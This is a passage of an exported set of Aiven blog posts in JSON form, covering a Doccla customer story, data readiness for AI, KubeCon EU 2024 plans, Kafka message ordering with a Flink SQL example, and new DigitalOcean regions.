legally compliant, with a single control panel and a single bill based on a transparent, predictable cost structure. Doccla also has to monitor just one SLA: Aiven’s uptime guarantee of 99.99% across all services. \n\nPreviously, Doccla had been using managed cloud-native services or running them in-house. That had brought a huge amount of variability to the operation, security and back-up of various features. By moving to the Aiven Platform running on Google Cloud, Doccla’s data hosting and data storage layer is now common across all the regions in which it operates.\n\nHuxtable has also found configuration to be straightforward. He uses familiar tools with TerraForm to provision services which are available to see immediately — even without refreshing — making it easier to onboard new products as they are built as well as provisioning new regions.\n\n“The partnership between Aiven and Google makes things really easy for us. In just a few clicks, we can launch a fully managed and configured cluster Aiven service in the region of our choice. If we need Kafka in Germany, it’s done. Or if we need PostgreSQL in Paris, it’s done.”\n\n“As we build out our platform to reach more patients in more countries, Aiven will remain a fundamental partner,” says Huxtable. “If I need more performance, it's very easy to point and click and make our clusters bigger. We get all that capability without the cognitive overload of managing a hugely disparate data estate across Europe.”\n\nHe continues, “As a technologist, I'm always very happy when our software is templated and can easily be rolled out again in a packaged and well-understood format, without having to customize it for different regions or add new capabilities. Working with Aiven enables me to do that and it’s a huge advantage.”\n\n## More care for more patients in many more places\n“We want to reach as many patients with as many conditions as we can. We need a lot of talent, a lot of technology and a lot of partners to enable us on that journey. Doccla is confident that Aiven will be there for us tomorrow as we scale and as more patient data comes through our platform,” says Huxtable.\n\nThe immediate result of working with Aiven is that Doccla was able to accelerate the build of its new platform and, rather than worrying about data infrastructure, Huxtable now has an extended team he can turn to as the platform scales. That means he can focus on much bigger goals: supporting more patients in the regions it operates in; launching new capabilities and new products so Doccla can reach different patients and provide more care; and operating in more countries — ultimately enabling Doccla to grow and provide even more care across Europe.\n\n----\n\nTo get the latest news about Aiven and our services, plus a bit of extra around all things open source, [subscribe to our monthly newsletter](https://aiven.io/newsletter)! Daily news about Aiven is available on our [LinkedIn](https://www.linkedin.com/company/aiven/) and [Twitter](https://twitter.com/aiven_io) feeds.\n\nIf you just want to find out about our service updates, follow our [changelog](https://aiven.io/changelog).","categories":[{"_key":"b49760984a04","_ref":"5xudGcikDUGEMuFsHkfr0z","_type":"reference"},{"_key":"45655d240ed0","_ref":"6FWlUxDXERbtNrYX2asRv6","_type":"reference"},{"_key":"5d40c129e531","_ref":"3DG5ZYx4kaoRquQmn345yY","_type":"reference"},{"_key":"1317b4d85a0a","_ref":"1vrpqSQEi7vREEAlHVVpOG","_type":"reference"},{"_key":"0e9e403fc01c","_ref":"3SF1hzDKGSWII7ZpbyTg8M","_type":"reference"}],"customerStoryTag":{"_type":"customerStoryTag","company":{"_ref":"fd143138-e6d5-4957-be92-bc996dbaa518","_type":"reference"},"ctaText":"Read the customer story","previewImage":{"_type":"mainImage","asset":{"_ref":"image-e778eba01c4b9e96b58c582554a8c4ae32880a7d-1280x720-jpg","_type":"reference"}}},"internalBlogProcess":"editorial","mainImage":{"_type":"mainImage","asset":{"_ref":"image-e778eba01c4b9e96b58c582554a8c4ae32880a7d-1280x720-jpg","_type":"reference"}},"publishedAt":"2024-03-06T11:56:00.000Z","related":[{"_key":"8bf0dbfaf4f4","_ref":"049caade-03fb-448a-8f3b-2c8a40f1f81f","_type":"reference"},{"_key":"2d8da1ee7597","_ref":"7b886c5e-716d-4605-894a-41347e6a0801","_type":"reference"},{"_key":"178d2b69d553","_ref":"1fa5e66f-b5e1-4c65-9eef-5802e2153f86","_type":"reference"}],"seo":{"_type":"metaData","metaDescription":"Discover how Doccla uses open source tech to transform healthcare with virtual wards, supported by Aiven, in the UK and Europe.","metaImage":{"_type":"mainImage","asset":{"_ref":"image-e778eba01c4b9e96b58c582554a8c4ae32880a7d-1280x720-jpg","_type":"reference"}},"metaTitle":"How Doccla Transforms Patient Care with Aiven"},"slug":{"_type":"slug","current":"/blog/data-for-good"},"subtitle":"Discover how Doccla uses open source tech to transform healthcare with virtual wards, supported by Aiven, in the UK and Europe.","title":"Data for Good: How Open Source Technology is Enabling Doccla to Transform Patient Care"} {"__i18n_lang":"en","_createdAt":"2024-12-10T16:33:11Z","_id":"83e71a0f-722d-481e-8616-00e6b17f6a95","_rev":"YU4kCQh9dJYVB9mWnl5CX4","_type":"post","_updatedAt":"2024-12-12T14:41:25Z","authors":[{"_key":"d3395abf77e9","_ref":"3dImkQse2fXRL7zTLzAoa1","_type":"reference"}],"body":"The third article in our Data Economy series examines what it takes to unlock the opportunities with AI. Based on some of the key findings of our own research [‘Predicting the Data and AI Revolution’](https://aiven.io/report/predicting-the-data-and-ai-revolution) and exclusive insights provided by leaders in the data economy, this piece explores how organizations are currently using AI. This includes the major challenges they are facing and, more perhaps importantly, what can be done to address them in order to create businesses that are built to be data-ready with AI at their core.\n\nIt’s no secret that businesses around the world are in an arms race to adopt AI. But, in keeping their eyes on the shiny prize at the end, many are skipping a crucial first step for successful deployments: putting their data house in order.\n\nIt’s the modern day equivalent of putting the cart before the horse and, much like with the simile, a crash is inevitable unless businesses approach AI adoption in the right way.\n\n\n## Throwing data at the problem and hoping it sticks\nIt’s why, despite so many organizations investing in AI, that the value derived from those solutions has been limited. Indeed, [research](https://aiven.io/report/predicting-the-data-and-ai-revolution) conducted by Aiven among executives found only 17% of organizations have successfully moved AI projects into full production despite widespread experimentation. The research also found that more than half of these C-Suite executives cite data-related challenges as the main barrier to success with AI deployments.\n\nWhat is happening is that AI is the epitome of the ‘garbage-in, garbage-out’ concept. Because most businesses were, quite understandably, not primed for the emergence of AI, they have taken to throwing data at the problem and hoping some of it sticks. Spoiler alert: it won’t.\n\nAs part of our data economy campaign, we have spoken to individuals all playing differing roles in its development. One of those individuals is **Nilesh Bansal, Co-Founder, [WorkOrb](https://www.workorb.com/)** who told me, *“companies pursuing AI purely for fear of missing out are skipping the important step of building a solid data foundation layer first. My advice would be to start with the data and then build on top of it.”*\n\nTo tackle the foundational challenges businesses are facing when it comes to getting their data AI-ready, we first need to know what they are.\n\n\n\n## A humanity-defining opportunity\nAs data is moved between environments, fed into ML models or leveraged in advanced analytics, considerations around topics like security and compliance are top of mind for many businesses. Our research found that well over half (58%) of executives see data security and privacy as the number one obstacle unlocking the potential of AI. There is a sense of ‘if we don’t move it, it won’t break’. \n\nThere is, of course, the other side of the issue. That businesses are reluctant to put too much data into an AI because of a mistrust about where the data goes and/or how it is used. They keep confidential and business-sensitive information away from AI which creates the sense of security businesses are looking for but compromises the AI output — and therefore the wider perception of AI — in the process.\n\nThis is why we’re seeing a groundswell of popularity for AI sovereignty. The majority (80%) of executives in our research emphasized that data sovereignty and control are equally critical to AI-driven strategic success. \n\nWhile on the one hand we have a burgeoning economy built on data, on the other hand there is a large proportion of businesses that simply don’t know how to handle it. And, if we are to unlock the proposed [USD 15.7 trillion](https://www.pwc.com/gx/en/issues/artificial-intelligence/publications/artificial-intelligence-study.html) that AI is expected to contribute to the global economy by the end of the decade, this has to change.\n\nThe question is, how?\n\n\n\n## Building a strong, modern foundation\nThe data economy is something to behold. The change it has enacted and the speed at which it has done so has not been seen in human history. But progress is not linear and it is clear that ambition is being hindered by inadequate data readiness with significant gaps between AI aspirations and data capabilities. \n\nOrganizations need to be data-ready to truly be AI-ready. The accessibility of GenAI has created a false sense of ease around AI as a technology. However, unlocking the full value of proprietary data is complex and has revealed stress fractures within organizations. Businesses are eager to differentiate through AI-powered innovations but require efficient ways to manage and leverage their data.\n\nAs **Bansal** points out, *“The data practices that the companies need in the new era of AI don't change. The fundamentals remain the same. Companies need to start with making sure they're collecting the data they need for their businesses. Having the right infrastructure in place that allows teams to access this data in an easy manner, while maintaining governance and privacy controls.”*\n\n**Luca Eisenstecken, Partner, [Atomico](https://atomico.com/)** also told us, *“Data is the foundation for AI and production. It is a necessary building block to create and run AI applications that deliver real business value at scale, which in itself drives the data economy much akin to a perpetual flywheel.”*\n\n\nThe more data an organization has, the more it can use and the bigger role it plays in the data economy. It’s a self-fulfilling prophecy and one of the reasons why there is a disparity between companies at either and of the data scale. A point explained by **Jérémy Barneron, Senior Software Engineer at fintech start-up**, [Dojo](https://dojo.tech/make-every-second-count/) who said, “*The larger tech companies have already mastered the data economy and how to make sense of their data in real-time to grow their revenue and deliver value to their customers. We need to start leveling the playing field and find a way to make data accessible to start-ups so they can compete with the larger companies.*”\n\nThe whole premise of the data economy falls down if the data — and therefore power and influence — is held by a minority of big, influential companies. Organizations must be part of a data economy based on ecosystems of parties cooperating on shared goals whilst not losing sight of their respective bottom lines.\n\n## Doing data well\nLooking ahead to 2025, businesses must prioritize the basics of data management and storage to make sure the right data is in the right place at the right time. Businesses need to stop looking at the AI endgame but instead focus on the basics of ‘doing data well’. \n\nThat is what will unlock the impact of AI and allow those businesses, currently on the outside of the data economy looking in, a prime seat at the table of change.\n","categories":[{"_key":"932964104d93","_ref":"fbc8860d-6c02-4a94-a281-8dd04c2ebdcd","_type":"reference"},{"_key":"b49760984a04","_ref":"5xudGcikDUGEMuFsHkfr0z","_type":"reference"}],"internalBlogProcess":"editorial","mainImage":{"_type":"mainImage","alt":"Creating the Foundation to Unlock the Opportunity with AI","asset":{"_ref":"image-15f0456c5c7eca3093c9a9dda674df2e214e81d3-1200x630-png","_type":"reference"}},"publishedAt":"2024-12-12T14:42:00.000Z","related":[{"_key":"bbac45ef9dcf","_ref":"ed060249-9434-471e-aa59-4802e435a290","_type":"reference"},{"_key":"d72c2e0232fd","_ref":"0ad4e125-5238-4750-a6d4-0edba23b4856","_type":"reference"}],"seo":{"_type":"metaData","metaDescription":"It’s no secret that businesses around the world are in an arms race to adopt AI, but many are skipping the first step for success.\n","metaImage":{"_type":"mainImage","alt":"Creating the Foundation to Unlock the Opportunity with AI","asset":{"_ref":"image-15f0456c5c7eca3093c9a9dda674df2e214e81d3-1200x630-png","_type":"reference"}},"metaTitle":"The Data Economy: Creating a Strong Foundation for AI"},"slug":{"_type":"slug","current":"/blog/creating-the-foundation-to-unlock-the-opportunity-with-ai"},"subtitle":"From Data to Deployment: Creating a Strong Foundation for AI","title":"Creating the Foundation to Unlock the Opportunity with AI"} {"__i18n_lang":"en","_createdAt":"2024-03-06T11:57:09Z","_id":"639e7143-ad2c-4385-94f7-da58e90e6bab","_rev":"0h6e4MYEG0xbOjLBGGcWIo","_type":"post","_updatedAt":"2024-11-28T12:26:52Z","authors":[{"_key":"3436216b6805","_ref":"cd9f3dc9-f305-4c1c-9cc8-16587dece8b0","_type":"reference"}],"body":"Hello readers! Aiven and I will be at KubeCon EU 2024 in Paris, France. This is Aiven's first time at KubeCon, but not mine: in addition to my role as VP of Product Management at Aiven, I'm a longtime contributor to the CNCF ecosystem. Here are the activities I am most looking forward to at Kubecon in Paris, aside from the excellent wine, bread, and pastries which are in my future. Furthermore, I have been hitting the gym hard in preparation. \n\n## March 19: The conference before the conference\n\nKubeCon is renowned for its proliferation of co-located events; however, this year there are new entrants! This will be the first time [ThanosCon](https://events.linuxfoundation.org/kubecon-cloudnativecon-europe/co-located-events/thanoscon/) is run, and my esteemed colleague and Thanos maintainer Michael Hoffman, who is a senior SRE at Aiven is one of the organizers. \n\nI’m looking forward to the following sessions at ThanosCon: \n- [Scaling Thanos at Reddit](https://sched.co/1YFeR) for a hands-on case study of Thanos at a massive scale\n- [A talk on multi-threaded Thanos](https://sched.co/1YFgK) from the folks at Red Hat\n \nIn addition to attending ThanosCon, I’ll be jumping around to the following co-located events:\n- [AppDeveloperCon](https://events.linuxfoundation.org/kubecon-cloudnativecon-europe/co-located-events/appdevelopercon/) to learn more about the application developer ecosystem, as this is an area of research and development for us at Aiven in the product management team. \n- [BackstageCon](https://events.linuxfoundation.org/kubecon-cloudnativecon-europe/co-located-events/backstagecon/) as we have been conducting discovery on the requirements from customers to build an Aiven plugin. Aiven’s product roadmap is public and [you can vote for this idea if you are interested](https://ideas.aiven.io/forums/951112-platform-experience/suggestions/47150894-backstage-plugin-for-aiven), or get in touch with me directly. \n- There are also lightning talks on the 19th scheduled. I will be attending some of these, for example Aiven customer [OVO energy's talk on platform engineering](https://sched.co/1ZfTJ). \n\n## Where to find Aiveners\n\nThe Aiven booth is at **J36** in the expo hall, there you’ll find members of Aiven’s developer relations team (Celeste Horgan \u0026 Sebastian Blanc), myself, and members of our sales and marketing teams to show you a quick demo or generally talk data!\n\nIn the morning after the keynote, I will be bouncing between the Jaeger project booth in the CNCF project pavilion, the OpenSearch booth, and of course, the Aiven booth. [Celeste](https://aiven.io/celeste) and [Sebastian](https://aiven.io/sebastian) will also be at the booth during the week.\n\nFellow Aiven cast member Celeste Horgan will be at the [Kubernetes Contributor Summit](https://www.kubernetes.dev/events/2024/kcseu/) on March 19th running the docs sprint. Say hello and learn how to do open source documentation!\n\n## Talks from Aiven cast members \n\nAiven cast members (including myself) are giving two talks at KubeCon EU 2024: \n\n- On **March 20 (Wednesday) 12:20 in Pavilion 7** I’ll be giving a maintainer track talk: [Jaeger: Distributed Tracing with Jaeger and OpenTelemetry](https://sched.co/1YhfT) with Pavol Loffay from Red Hat. We’ll be giving the project updates and what’s new with Jaeger and distributed tracing, so please register and stop by. We already have 200 people registered already, so be sure to register before attending!\n- Later that day at **17:25**, Aivener and Site Reliability Engineer Micheal Hoffman will be co-presenting with Giedrius Statkevičius, Site Reliability Engineer at Vinted, on Thanos query processing: [From UI to Storage: Unraveling the Magic of Thanos Query Processing](https://sched.co/1Yhii).\n\n\n## Other talks to watch\n\nKubeCon is a massive conference with multiple tracks, but here are some selections from the Data, AI, observability and related tracks!\n\n**Wednesday, March 20:**\n\n- The opening keynotes promise to be fantastic this year, as Kubernetes celebrates its 10-year anniversary. In particular. Expect to hear from Kelsey Hightower, who we were fortunate enough to host at Aiven Live NYC in late February. Here at Aiven we’re looking forward to [Optimizing Performance and Sustainability for AI](https://https://sched.co/1YhIO), as it dovetails nicely with our [commitments to sustainability as a company](https://aiven.io/sustainability) and, of course, the data and AI angle.\n- As mentioned above, my talk on Jaeger and Micheal’s talk on Thanos! \n\n**Thursday, March 21:**\n\n- March 21st I am eagerly awaiting Taylor Dozeal's [keynote on the end user community](https://sched.co/1YhJJ) to hear how the ecosystem is evolving and some new highlights to pay attention to across the community.\n- I will then be attending the session on running [Flink on Kubernetes at](https://sched.co/1YeOZ) 11:55am by CNRS looking to learn more about some end user challenges with Flink. Our colleagues at Aiven will be at the Kafka summit in the same week as Kubecon, getting a lot of in-depth information on Kafka and Flink. \n- At 2:30pm I will attend the session on [intelligent observability](https://sched.co/1YeP6) by Alolita Sharma of Apple, who is one of the people I enjoy working with in CNCF end user projects along with within OpenTelemetry. \n- I will also attend the [Prometheus maintainer talk](https://sched.co/1Yhhz) at 5:25pm to learn what’s new that we can use to help advise customers on improving observability with our Prometheus compatible services. We will also get some insights to the roadmap and what we can look forward to. \n- The ClickHouse team is giving a talk titled [Fantastic Ordinals and How to Avoid Them: Auto-Scaling Challenges in a Cloud Database](https://sched.co/1YePt) which should prove interesting for those interested in scaling ML/AI workloads.\n- Kubernetes maintainer and Googler Bob Killen will also be giving a talk on the [business value of open source and how to communicate it](https://sched.co/1YeQH) which should prove useful for those leading open source product teams!\n\n**Friday, March 22nd:**\n\n- On Friday, I’m eagerly awaiting [Thanos’ Infinity Stones and How You Can Operate Them!](https://sched.co/1Yhi5) From Red Hatters Saswata Mukherjee \u0026 Daniel Mohr. This talk promises to teach us some of the more advanced ways to use and optimize Thanos for metrics.\n- If you have time, I would check out this [Thanos talk on additional use cases in the community](https://sched.co/1Yhi5) or this session on managing large scale [AI training off a LakeHouse at LinkedIn](https://sched.co/1YeQe). \n- I will also be attending the [Contribfest for Jaeger](https://sched.co/1Yhet) where we will work on Jaeger v2 with Jaeger maintainer Pavol Loffay.\n- I am always keen to hear what the team working on Fluent Bit are working on and my friend Eduardo Silva will share [what is cooking with Fluent Bit v3](https://sched.co/1aDbX) in the last session of the week.\n\n\n## One last thing\n\nWe’re proud to announce that Aiven is a **Silver Tier** sponsor at this year’s KubeCon EU 2024. We’re proud to support the cloud native community and keep open source projects vibrant and active.\n\nAt Aiven we’re heavy users of open source technologies to drive our observability pipelines, between our use of Thanos, OpenSearch, ClickHouse, Kafka, Flink, and Vector we are constantly looking for new technologies. KubeCon EU 2024 marks Aiven’s first foray on the show floor as a sponsor, but we hope to see you at KubeCon NA 2024, November 12-15 in Salt Lake City, and in the years to come!\n\nPlease reach out to me to book time to connect or come by our booth. A reminder that our booth is J36, or [book a meeting with our team](https://aiven.io/events/kubecon-europe-2024)!\n","categories":[{"_key":"d66c436bdb2a","_ref":"55hnoBwSNkFBrvJaZvuhgt","_type":"reference"}],"internalBlogProcess":"editorial","mainImage":{"_type":"mainImage","alt":"The words \"What's hot at KubeCon EU 2024\" in white on a blue background. The Aiven logo is in the bottom left.","asset":{"_ref":"image-db7b5306bb932aaf63437015d2c49906bd1f6c16-1567x844-png","_type":"reference"}},"publishedAt":"2024-03-07T11:28:00.000Z","related":[{"_key":"847a18beb41b","_ref":"577fa3d1-0ee8-42eb-b60d-c4ba693d1a15","_type":"reference"},{"_key":"6ecb840f2ab7","_ref":"049caade-03fb-448a-8f3b-2c8a40f1f81f","_type":"reference"},{"_key":"17d953c39655","_ref":"1408bc7f-be88-4390-a8b0-2b1e157f6fbe","_type":"reference"}],"slug":{"_type":"slug","current":"/blog/whats-hot-at-kubecon-eu-2024"},"subtitle":"Let Jonah give you his KubeCon EU 2024 recommendations, learn where you can meet with Aiven at the event, and more!","title":"What’s Hot at KubeCon EU 2024"} {"__i18n_lang":"en","_createdAt":"2023-03-14T17:07:35Z","_id":"62b51ae6-e71b-4a73-a7c8-615f6380c55c","_rev":"msvVOwV0ly404Y5JqDPGoz","_type":"post","_updatedAt":"2024-08-09T10:24:10Z","authors":[{"_key":"b3993687d9bc","_ref":"3dImkQse2fXRL7zTLzAoa1","_type":"reference"}],"body":"One of Apache Kafka®'s most known mantras is \"it preserves the message ordering per topic-partition\", but is it always true? In this blog post we'll analyze a few real scenarios where accepting the dogma without questioning it could result in unexpected, and erroneous, sequences of messages.\n \n## Basic scenario: single producer\n\nWe can start our journey with a basic scenario: a single producer sending messages to an Apache Kafka topic with a single partition, in sequence, one after the other. \n\n![Single producer sending three messages to Apache Kafka](https://cdn.sanity.io/images/sczeoy4w/production/a71b963f5f098076a3cdd4cc21251d0a6ac30b69-1482x454.png)\n\nIn this basic situation, as per the known mantra, we should expect an always correct ordering. But, is it true? Well... it depends!\n\n### The network is not equal\n\nIn an ideal world, the single producer scenario should always result in a correct ordering. But our world isn't perfect! Different network paths, errors and delays could mean that a message gets delayed or lost.\n\nLet's imagine a situation below: a single producer, sending three messages to a topic:\n\n* Message `1`, for some reason, finds a long network route to Apache Kafka\n* Message `2` finds the quickest network route to Apache Kafka\n* Message `3` gets lost in the network\n\n![A single producer posting three messages, 1 with a long route, 2 with a short route, 3 with a broken route. End result is message ordering 2,1](https://cdn.sanity.io/images/sczeoy4w/production/6ecf1e65d28878cb6e079b66cafb880431374f6d-1742x698.png)\n\nEven in this basic scenario, with only one producer, we could get an unexpected series of messages in the topic.\nThe end result on the Kafka topic will show only two events being stored, with the unexpected ordering `2`, `1`. \n\nIf you think about it, it's the correct ordering from the **Apache Kafka point of view**: a topic is only a log of information and Apache Kafka will write the messages to the log depending on when it \"senses\" the arrival of a new event. It's based on Kafka **ingestion time** and not on when the message was created (**event time**).\n\n### Acks and retries\n\nBut, not all is lost! If we look into the producing libraries ([aiokafka](https://aiokafka.readthedocs.io/en/stable/producer.html) being an example) we have ways to ensure that messages are delivered properly.\n\nFirst of all, to avoid the problem with the message `3` in the above scenario, we could define a proper **acknowledgment** mechanism. The `acks` producer parameter allows us to define what confirmation of message reception we want to have from Apache Kafka. \n\nSetting this parameter to `1` will ensure that we receive acknowledgment from the primary broker responsible for the topic (and partition). Setting it to `all` will ensure that we receive the ack only if both the primary and the replicas correctly store the message, thus saving us from problems when only the primary receives the message and then fails before propagating it to the replicas. \n\nOnce we set a sensible `ack`, we should set the possibility to **retry** sending the message if we don't receive a proper acknowledgment. Differently from other libraries ([kafka-python](https://kafka-python.readthedocs.io/en/master/) being one of them), aiokafka will retry sending the message automatically until the timeout (set by the `request_timeout_ms` parameter) has been exceeded.\n\nWith **acknowledgment** and automatic **retries**, we should solve the problem for the message `3`. The first time it is sent, the producer will not receive the `ack`, therefore, after the `retry_backoff_ms` interval, it will send the message `3` again.\n\n![Same scenario, with proper ack and retries now message 3 gets correctly delivered](https://cdn.sanity.io/images/sczeoy4w/production/00c77a462a0f19eea18f417fb441374161b5a04a-1742x798.png)\n\n### Max in flight requests\n\nHowever, if you watch closely the end result in the Apache Kafka topic, the resulting ordering is **not correct**: we sent `1,2,3` and got `2,1,3` in the topic... how to fix that? \n\nThe old method (available in [kafka-python](https://kafka-python.readthedocs.io/en/master/)), was to set the **maximum in flight request per connection**: the number of messages we allow to be \"in the air\" at the same time without acknowledgment. The more messages we allow in the air at the same time, the more risk of getting out of order messages. \n\nWhen using kafka-python, if we absolutely needed to have a specific ordering in the topic, we were forced to limit the `max_in_flight_requests_per_connection` to `1`. Basically, supposing that we set the `ack` parameter to at least `1`, we were waiting for an acknowledgment of every single message (or batch of messages if the message size is less than the batch size) before sending the following one. \n\n![Kafka producer with max_in_flight_requests_per_connection=1, basically serialising the messages sent, resulting in the correct ordering](https://cdn.sanity.io/images/sczeoy4w/production/e4c347d7d73fc717e27b279aa21ef4571c02dfb5-1742x872.png)\n\nThe absolute correctness of ordering, acknowledgment and retries come at cost of **throughput**. The smaller amount of messages we allow to be \"in the air\" at the same time, the more acks we need to receive, the less overall messages we can deliver to Kafka in a defined timeframe. \n\n### Idempotent producers\n\nTo overcome the strict serialization of sending one message at a time and waiting for the acknowledgement, we can define **idempotent producers**. With an idempotent producer, each message gets labelled with both a producer ID, and a serial number (a sequence maintained for each partition). This composed ID is then sent to the broker alongside the message.\n\nThe broker keeps track of the serial number per producer and topic/partition. Whenever a new message arrives, the broker checks the composed ID, and if, within the same producer, the value is equal to the previous number + 1, then the new message is acknowledged, otherwise it is rejected. This provides a guarantee of the global ordering of messages allowing a higher number of in flight requests per connection ([maximum of 5 for the Java client](https://kafka.apache.org/34/documentation.html#producerconfigs_enable.idempotence)).\n\n\n## Increase complexity with multiple producers\n\nSo far we imagined a basic scenario with only one producer, but the reality in Apache Kafka is that often the producers will be multiple. What are the little details to be aware of, if we want to be sure about the end ordering result? \n\n### Different locations, different latency\n\nAgain, the **network is not equal**, and with several producers located in possibly very remote positions, the different latency means that the Kafka ordering could differ from the one based on event time.\n\n![Two Kafka producers with different latency could mean that the resulting order is not what expected](https://cdn.sanity.io/images/sczeoy4w/production/e17af7a2832ee4b93fbfa0cf05c0e8cacc8b4e80-1882x784.png)\n\nUnfortunately, the different latencies between different locations on earth can't be fixed, therefore we will need to accept this scenario.\n\n### Batching, an additional variable\n\nTo achieve a higher throughput, we might want to [batch](https://kafka.apache.org/34/documentation.html#design_asyncsend) messages. With batching we send messages in \"groups\", minimizing the overall number of calls, and increasing the payload to overall message size ratio. But, in doing so, we can again alter the ordering of events. The messages in Apache Kafka will be stored per batch, depending on the batch ingestion time. Therefore, the ordering of messages will be correct per batch, but different batches could have different ordered messages within them.\n\n![Two Kafka producers batching the messages, the resulting ordering is dependant on the batch ingestion time](https://cdn.sanity.io/images/sczeoy4w/production/800045dfdd26179f8dee0d9f070e1121822ee803-1880x1096.png)\n\nNow, with both different latencies and batching in place, it seems that our global ordering premise would be completely lost... So, why are we claiming that we can manage the events **in order**?\n\n## The savior: event time\n\nWe understood that the original premise about Kafka keeping the message ordering is not 100% true, the ordering of the messages depends on the Kafka ingestion time and not on the event generation time. But, what if the ordering based on event-time is important?\n\nWell, we can't fix the problem on the production side, but we can do it on the consumer side. All the most common tools that work with Apache Kafka have the ability to define which field to use as event time, including [Kafka Streams](https://kafka.apache.org/0110/documentation/streams/core-concepts#streams_time), Kafka Connect with the dedicated **Timestamp extractor** single message transformation (SMT) and [Apache Flink®](https://nightlies.apache.org/flink/flink-docs-release-1.16/docs/concepts/time/).\n\nConsumers, when properly defined, will be able to reshuffle the ordering of messages coming from a particular Apache Kafka topic. Let's analyze the Apache Flink example below:\n\n```sql\nCREATE TABLE CPU_IN (\n hostname STRING,\n cpu STRING,\n usage DOUBLE,\n occurred_at BIGINT,\n time_ltz AS TO_TIMESTAMP_LTZ(occurred_at, 3),\n WATERMARK FOR time_ltz AS time_ltz - INTERVAL '10' SECOND\n )\nWITH (\n 'connector' = 'kafka',\n 'properties.bootstrap.servers' = '',\n 'topic' = 'cpu_load_stats_real',\n 'value.format' = 'json',\n 'scan.startup.mode' = 'earliest-offset'\n)\n```\n\nIn the above Apache Flink table definition, we can notice: \n* `occurred_at`: the field is defined in the source Apache Kafka topic in unix time (datatype is `BIGINT`). \n* `time_ltz AS TO_TIMESTAMP_LTZ(occurred_at, 3)`: transforms the unix time into the Flink timestamp.\n* `WATERMARK FOR time_ltz AS time_ltz - INTERVAL '10' SECOND` defines the new `time_ltz` field (calculated from `occurred_at`) as the event time and defines a threshold for late arrival of events with a maximum of 10 seconds delay.\n\nOnce the above table is defined, the `time_ltz` field can then be used to correctly order events and define aggregation windows, making sure that all events within the accepted latency are included in the calculations.\n\nThe `- INTERVAL '10' SECOND` defines the latency of the data pipeline, and is the penality we need to include to allow the correct ingestion of late arriving events. Please note, however, that the throughput is not impacted. We can have as many messages flowing in our pipeline as we want, but we're \"waiting 10 seconds\" before calculating any final KPI in order to make sure we include in the picture all the events in a specific timeframe.\n\nAn alternative approach, that works only if the events contain the full state, is to keep for a certain key (`hostname` and `cpu` in the above example) the maximum event time reached so far, and only accept changes where the new event time is greater than the maximum.\n\n\n## Wrapping up\n\nThe concept of ordering in Kafka can be tricky, even if we only include a single topic with a single partition. This post shared a few common situations that could result in an unexpected series of events. Luckily options like limiting the number of messages in flight, or using idempotent producers, can help achieve an ordering in line with expectations. \nIn the case of multiple producers, and the unpredictability of network latency, the option available is to fix the overall ordering on the consumer side by properly handling the event time that needs to be specified in the payload.\n\nSome further readings:\n\n* [Kafka Streams event time](https://kafka.apache.org/0110/documentation/streams/core-concepts)\n* [Check out the Timestamp router SMT in Kafka Connect](https://aiven.io/docs/products/kafka/kafka-connect/howto/opensearch-sink#create-daily-opensearch-indices)\n* [View Apache Kafka® messages live in the Aiven Console](https://aiven.io/blog/kafka-messages-ui-announcement)\n* [Cut costs by 40% on Apache Kafka®](https://aiven.io/cut-your-apache-kafka-costs-with-aiven-by-up-to-40-percent)\n* [Aiven supports Apache Kafka® 2.8](https://aiven.io/blog/aiven-supports-apache-kafka-2-8)\n* [Aiven supports Apache Kafka® 2.6](https://aiven.io/blog/aiven-supports-apache-kafka-2-6)\n","categories":[{"_key":"183c1a8d09c9","_ref":"3DG5ZYx4kaoRquQmn345yY","_type":"reference"},{"_key":"38e61c479017","_ref":"5Ry1OHE6tZ0LKPQxJ9XkJd","_type":"reference"}],"internalBlogProcess":"technical","mainImage":{"_type":"mainImage","alt":"The words \"Apache Kafka® preserves the message ordering per topic/partition - or does it?\" against a blue background with the Aiven cuddly crab logo in the corner","asset":{"_ref":"image-bd460cdf723711bc2fe6d6c9749f5c6fc71a9eb9-1567x844-png","_type":"reference"}},"publishedAt":"2023-03-21T10:25:50.161Z","related":[{"_key":"63963b504e07","_ref":"ElLnRMEzVGBvCslc1mXoT","_type":"reference"},{"_key":"592159dc9e66","_ref":"9de4f40b-c05c-4d3e-8ef4-1c0446f4d4a9","_type":"reference"}],"slug":{"_type":"slug","current":"/blog/kafka-real-ordering"},"subtitle":"We’re told that Apache Kafka® preserves message ordering per topic/partition, but how true is that, and how close can we come to making it true?","title":"Does Apache Kafka® really preserve message ordering?"} {"__i18n_lang":"en","_createdAt":"2022-06-16T14:05:36Z","_id":"6CEpWzJmNiaYE1ZKx7TvLl","_rev":"YFURCCIYWC1zW2kvzUZOa5","_type":"post","_updatedAt":"2023-08-04T18:01:28Z","authors":[{"_key":"7JA4OvuGiIBppdAjKtCxYN","_ref":"7JA4OvuGiIBppdAjKtCxYN","_type":"reference"}],"body":"Since our last announcement we've been hard at work to expand our cloud coverage geographically to include **DigitalOcean**'s datacenter regions.\n\nDigitalOcean Inc is a New York based cloud provider with a high uptime and amazing hardware that lets its users scale easily. See [digitalocean.com](https://www.digitalocean.com/) for more information.\n\nThe new Aiven regions that are immediately available are:\n\n* EU Netherlands (DigitalOcean)\n* EU Germany (DigitalOcean)\n* EU England (DigitalOcean)\n* US New York (DigitalOcean)\n* US California (DigitalOcean)\n* Asia Singapore (DigitalOcean)\n* Canada Ontario (DigitalOcean)\n\nAlong with the existing Aiven regions in Amazon Web Services, Google Cloud and UpCloud, this brings the current number of regions Aiven supports to twenty-four.\n\nGo to [aiven.io](/) to get started!\n\nWe're always looking for feedback on what to improve so feel free to let us know if you have ideas on what you'd love to see us support next.\n\nPS. You can also check out our previous [blog post](https://aiven.io/blog/aiven-postgresql-tutorial) that has a basic walkthrough of the Aiven web console!\n","categories":[],"mainImage":{"alt":"","asset":{"_ref":"image-1335e1a409ae973cc1e54e9ef2d7025fa306603e-2500x1308-png","_type":"reference"}},"publishedAt":"2016-02-02T11:51:00.000Z","seo":{"metaDescription":"DigitalOcean is focused on speed, which is why we’re offering Aiven for PostgreSQL across 7 of its regions. Find out which ones here.","metaImage":{"alt":"","asset":{"_ref":"image-1335e1a409ae973cc1e54e9ef2d7025fa306603e-2500x1308-png","_type":"reference"}},"metaTitle":"Aiven for PostgreSQL® available in DigitalOcean"},"slug":{"_type":"slug","current":"/blog/support-for-digitalocean-added-to-aiven"},"subtitle":"DigitalOcean is focused on speed, which is why we’re offering Aiven for PostgreSQL across 7 of its regions. Find out which ones here.","title":"Aiven for PostgreSQL® available in DigitalOcean"} 